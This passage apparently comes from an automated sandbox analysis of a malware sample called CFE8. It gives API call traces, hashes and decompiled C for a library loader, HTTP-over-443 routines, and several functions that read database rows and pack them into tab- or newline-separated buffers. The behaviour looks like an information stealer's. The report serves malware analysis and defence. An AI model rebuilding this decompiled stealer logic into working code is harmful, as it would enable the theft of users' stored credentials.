0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,00860410), ref: 004066CD
lstrcat.KERNEL32(?,00872348), ref: 004066E0
lstrcat.KERNEL32(?,00875778), ref: 004066F4
lstrcat.KERNEL32(?,00875D08), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,00872348,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00860420), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0085F5E0), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,008730E8), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,008758D8), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00875C18), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(00875CC0,00875CC0), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(00875D80,00875D80), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(008755F8,008755F8), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(00878148,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID:
API String ID: 2767677664-0
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 006368A0, Relevance: 13.7, APIs: 9, Instructions: 176stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0063BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0063BB21

lstrcat.KERNEL32(?,00000000), ref: 00636909
lstrcat.KERNEL32(?,0041A260), ref: 0063691D
lstrcat.KERNEL32(?,0041A368), ref: 00636930
lstrcat.KERNEL32(?,0041A7C4), ref: 00636944
lstrcat.KERNEL32(?,0041A76C), ref: 00636958

Part of subcall function 006353F0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0063541D
Part of subcall function 006353F0: StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00635443
Part of subcall function 006353F0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0063547D
Part of subcall function 006353F0: InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 006354A3
Part of subcall function 006353F0: HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00635503
Part of subcall function 006353F0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00635577
Part of subcall function 006353F0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00635593
Part of subcall function 006353F0: StrCmpCA.SHLWAPI(?,00418B8C), ref: 006355A9

lstrcat.KERNEL32(?,00000000), ref: 00636988

Part of subcall function 00636570: lstrcat.KERNEL32(?,?), ref: 006365E4

Part of subcall function 00634C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00634C5E

Part of subcall function 0063A950: GetProcessHeap.KERNEL32(00000000,000F423F,?,006369FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0063A95A
Part of subcall function 0063A950: RtlAllocateHeap.NTDLL(00000000,?,006369FC), ref: 0063A961

Part of subcall function 00635930: GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0063593B
Part of subcall function 00635930: RtlAllocateHeap.NTDLL(00000000), ref: 00635942
Part of subcall function 00635930: lstrcat.KERNEL32(?,0041A6E4), ref: 00635955
Part of subcall function 00635930: lstrcat.KERNEL32(?,0041A22C), ref: 00635966
Part of subcall function 00635930: lstrcat.KERNEL32(?,00418BC0), ref: 00635975
Part of subcall function 00635930: lstrcat.KERNEL32(?,0041A6C4), ref: 00635986
Part of subcall function 00635930: lstrcat.KERNEL32(?,00418BC4), ref: 00635995
Part of subcall function 00635930: lstrcat.KERNEL32(?,0041A544), ref: 006359A6
Part of subcall function 00635930: lstrcat.KERNEL32(?,00418BC0), ref: 006359B5
Part of subcall function 00635930: lstrcat.KERNEL32(?,0041A79C), ref: 006359C6
Part of subcall function 00635930: GetCurrentProcessId.KERNEL32 ref: 006359CC
Part of subcall function 00635930: lstrcat.KERNEL32(?,00000000), ref: 006359E0
Part of subcall function 00635930: lstrcat.KERNEL32(?,00418BC0), ref: 006359EF
Part of subcall function 00635930: lstrcat.KERNEL32(?,0041A55C), ref: 006359FF
Part of subcall function 00635930: lstrcat.KERNEL32(?,00000000), ref: 00635A0F
Part of subcall function 00635930: lstrcat.KERNEL32(?,00418BC4), ref: 00635A1E
Part of subcall function 00635930: lstrcat.KERNEL32(?,0041A044), ref: 00635A2F
Part of subcall function 00635930: lstrcat.KERNEL32(?,00000000), ref: 00635A3F
Part of subcall function 00635930: lstrcat.KERNEL32(?,00418BC0), ref: 00635A4E
Part of subcall function 00635930: lstrcat.KERNEL32(?,0041A0FC), ref: 00635A5F
Part of subcall function 00635930: lstrcat.KERNEL32(?,00000000), ref: 00635A6F
Part of subcall function 00635930: lstrcat.KERNEL32(?,00418BC4), ref: 00635A7E

lstrcat.KERNEL32(?,00000000), ref: 00636A9E
SetCurrentDirectoryA.KERNEL32(0041A6A8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00636AAB
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00636AB8

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID:
API String ID: 2767677664-0
Opcode ID: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction ID: 4d3b406236c4c493c3ac270e0856b9a8283111100cf466a0e9256e2c7706f788
Opcode Fuzzy Hash: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction Fuzzy Hash: 3F6159B6901218BBC751E7A0DC46EDA73BDAB4C700F00C5A9F30993191DB74EA95CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00641770, Relevance: 13.6, APIs: 9, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00642CEA,?), ref: 00641778
StrCmpCA.SHLWAPI(?,00419340,?,00642CEA,?), ref: 006417C5
StrCmpCA.SHLWAPI(?,00419344,?,00642CEA,?), ref: 006417DF
StrCmpCA.SHLWAPI(?,0041934C,?,00642CEA,?), ref: 006417F9

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: f5e88801433a9a7eb690b639a4e025e8784bb90a49eaf951effeef814cfce3d7
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: AA315039B04209EFCB00DFB1D994AEE7BBAAE1A7407208056E5259F740D734DE81EB55

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 13.6, APIs: 9, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x8772e0
				 *0x41a82c = LoadLibraryA(_t1);
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x878268
				_t24 =  *0x41a82c; // 0x0
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x8785f8
				_t19 =  *0x41a82c; // 0x0
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x8782c8
				_t7 =  *0x41a82c; // 0x0
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x8786b8
				_t26 =  *0x41a82c; // 0x0
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x878818
				_t21 =  *0x41a82c; // 0x0
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x878190
				_t12 =  *0x41a82c; // 0x0
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x8787b8
				_t28 =  *0x41a82c; // 0x0
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x8786f8
				_t23 =  *0x41a82c; // 0x0
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(008772E0,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(00000000,00878268), ref: 0040708F
GetProcAddress.KERNEL32(00000000,008785F8), ref: 004070A7
GetProcAddress.KERNEL32(00000000,008782C8), ref: 004070BF
GetProcAddress.KERNEL32(00000000,008786B8), ref: 004070D8
GetProcAddress.KERNEL32(00000000,00878818), ref: 004070F0
GetProcAddress.KERNEL32(00000000,00878190), ref: 00407108
GetProcAddress.KERNEL32(00000000,008787B8), ref: 00407121
GetProcAddress.KERNEL32(00000000,008786F8), ref: 00407139

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 006372B0, Relevance: 13.6, APIs: 9, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(0041A6A4,?,0063A971,?,006369FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 006372B9
GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 006372DF
GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 006372F7
GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0063730F
GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00637328
GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00637340
GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 00637358
GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00637371
GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00637389

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 92c27821ef8e1a408e3de7cb53f827427ef23873312088dd10208e5707513f44
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 7C211EF56272009FC344EBB8ED889B637E9B74C315711C539E505C3261D6359462CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00435A17, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 00435A29
_write_multi_char.LIBCMTD ref: 0043603E
_write_string.LIBCMTD ref: 00436059
_write_multi_char.LIBCMTD ref: 00436085
_wctomb_s.LIBCMTD ref: 00436102

Strings

-, xrefs: 00435FDE

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: _write_multi_char$__get_printf_count_output_wctomb_s_write_string
String ID: -
API String ID: 3263840866-2547889144
Opcode ID: 31193421939e1fae5e6f1c0e3de8036b04630b191491a5413d3464c1cbf60dea
Instruction ID: 188d8469b8281e25db10e59bd6eba2f0ab84d13e4dc6a64f34b6461b2e9a06af
Opcode Fuzzy Hash: 31193421939e1fae5e6f1c0e3de8036b04630b191491a5413d3464c1cbf60dea
Instruction Fuzzy Hash: 94A19EB0D016299BEF24DF54CC89BEEB7B0AB48304F2491DAE5197B281D7785E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435865, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 0043603E
_write_string.LIBCMTD ref: 00436059
_write_multi_char.LIBCMTD ref: 00436085
_wctomb_s.LIBCMTD ref: 00436102

Strings

-, xrefs: 00435FDE
HD@, xrefs: 0043588C

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: _write_multi_char$_wctomb_s_write_string
String ID: -$HD@
API String ID: 1811813154-1281569576
Opcode ID: 4e26a8efb62e4452ecc2d2c2e2813a73c818386e0d1bd3fac5c5096f355a200f
Instruction ID: f23ee7b82491c0ab41d993bebfdc96e5c93fcb8f2518e1d98a2834c4f6eb995e
Opcode Fuzzy Hash: 4e26a8efb62e4452ecc2d2c2e2813a73c818386e0d1bd3fac5c5096f355a200f
Instruction Fuzzy Hash: 2BA18CB4D016299FDF24CF54CC89BEEB7B0AB48305F2491DAE4196B281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x878758
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x872920
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x878798
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x872798
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x878798
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x8762c8
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00639650, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0063967F
